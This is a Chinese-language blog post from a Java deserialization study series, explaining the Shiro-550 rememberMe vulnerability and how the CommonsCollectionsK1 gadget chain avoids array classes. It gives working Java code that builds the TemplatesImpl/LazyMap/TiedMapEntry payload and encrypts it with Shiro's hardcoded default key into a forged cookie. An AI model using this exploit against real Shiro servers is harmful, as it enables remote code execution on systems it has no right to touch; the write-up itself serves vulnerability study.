反序列化Gadget学习篇六 Shiro&CommonCollectionsK1

原理&环境

Shiro反序列化漏洞原理:
为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

简单环境的搭建:
https://github.com/phith0n/JavaThings/tree/master/shirodemo

勾选remember me后,发送登陆请求,登陆成功后返回包中会带有rememberMe的Cookie信息:

直接使用CommonCollections6

在1.2.4版本及以下,默认的密钥为:kPH+bIxk5D2deZiIxcaaaA==
直接用之前的cc6链,生成一个payload,用这个密钥加密发过去试一下:

poc并没有成功,tomcat报错:

错误栈最下面的一个类:
org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass


resolveClass是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形 式的类名,需要通过这个方法来找到对应的java.lang.Class对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

发现不同之处在于这个ClassUtils.forName(osc.getName());
关键点在发生异常的位置:

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer的数组。这里失败的原因非常复杂,参考:
https://blog.zsxsoft.com/post/35
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html 以及下面的评论,很精彩
参考phith0n的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 所以CC6,CC1都无法使用,网络上很多其他文章都是用的CommonCollections2,但CommonCollections2依赖的是CommonCollections4.0版本。

构造不含有数组的Gadgets

Orange大佬在其上面的文章中给出了使用JRMP的利用方法。但是这种需要出网,有一些限制。更好的方法就用到了TemplatesImpl,就是XRay和Koalr师傅的CommonsCollectionsK1链。
前面的文章分析了TemplatesImpl + InvokeerTransformer的调用链,但是这样也用到了数组:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

需要想办法不利用数组,wh1t3p1g在这篇文章给出了一个行之有效的方法。借助了CommonCollection6中的TiedMapEntry。
首先来回顾一下Transformer链的构造原理。

回顾:

ChainedTransformer

ChainedTransformer,由一个Transformer数组初始化,数组中都是Transformer的实现类,都有transform方法。当回调被触发时,按照数组顺序循环执行每一个实现类的transform,第一个参数是触发回调的key或者value,上一个transform的return结果是下一个的参数,比如上面的transformers数组例子,实际执行的时候是InvokerTransformer.transform(ConstantTransformer.transform(key))

ConstantTransformer

直接返回类初始化时构造函数传入的参数,不会对transform的参数有任何处理

InvokerTransformer

调用反射,获取Method并且调用invoke执行,返回执行结果

构造链:

想办法把上面的TemplatesImpl + InvokeerTransformer链中的Transformer数组去掉,也就是变成一次调用。
思路:LazyMap.get方法调用了this.factory.this.factory.transform(key)

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

这里的this.factory是初始化LazyMap时传入的Transformer类,直接执行了这个Transformer的transform方法,参数为key,如果这个key可以控制,那就相当于变相用ConstantTransformer返回了一个对象给下一个Transformer类,那只需要传入一个new InvokerTransformer("newTransformer", null, null),在执行的时候就会执行:
TemplatesImpl.newTransformer(),去掉了数组。
如何调用LazyMap.get,且key可控?前面的利用链中已经有例子用过,使用TiedMapEntry

和CC3利用链的区别在于,之前初始化TiedMapEntry时的key参数是无用字符串,现在换成构造好的恶意TemplatesImpl
自己写这部分代码的时候,理论知识都已经具备,但是很多小细节没注意,几个问题:

  1. 恶意类要继承AbstractTranslet类(TemplatesImpl利用链的要求)
  2. 为了避免组装恶意TiedMapEntry时调用各种方法产生影响,要先关联一个假的Transformer,这里先用Transformer调用一个无害方法比如getClass,再反射修改Transformer的iMethodName成员变量。和先绑定一个无害faketransformer,再修改lazyMap的factory的成员变量效果相同,但是不要混用。

生成payload代码:

public static byte[] getPayload(byte[] bytecode) throws Exception{
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    // 构造链调用obj.newTransformer()

    Transformer transformer = new InvokerTransformer("newTransformer", null, null);
    Transformer faketransformer = new ConstantTransformer(1);
    Map outmap = new HashMap();
    Map lazyMap = LazyMap.decorate(outmap,faketransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
    Map map = new HashMap();
    map.put(tiedMapEntry,"213");

    setFieldValue(lazyMap, "factory", transformer);

    outmap.clear();

//        setFieldValue(transformer, "iMethodName", "newTransformer");

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(map);
    oos.close();

    return barr.toByteArray();
}

用shiro默认密钥生成exp:

public static void main(String[] args) throws Exception{
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(changez.sec.shiro.Evil.class.getName());
    byte[] payload = CommonCollectionsK1.getPayload(clazz.toBytecode());
    
    AesCipherService aes = new AesCipherService();
    byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    ByteSource cipheretext = aes.encrypt(payload,key);
    System.out.println(cipheretext);
}

结果直接放入cookie中,发送即可:

总结

主要学习了关于Shiro反序列化漏洞,以及如何将 TemplatesImpl 结合到 CommonsCollections6中,也就解决了前一篇文章中遗留的CommonsCollections3不能在Java 8u71以 上利用的问题。这一个Gadget其实也就是XRay和Koalr师傅的CommonsCollectionsK1用来检测Shiro-550的方法。

posted @ 2021-08-20 14:55  ChanGeZ  阅读(926)  评论(1编辑  收藏  举报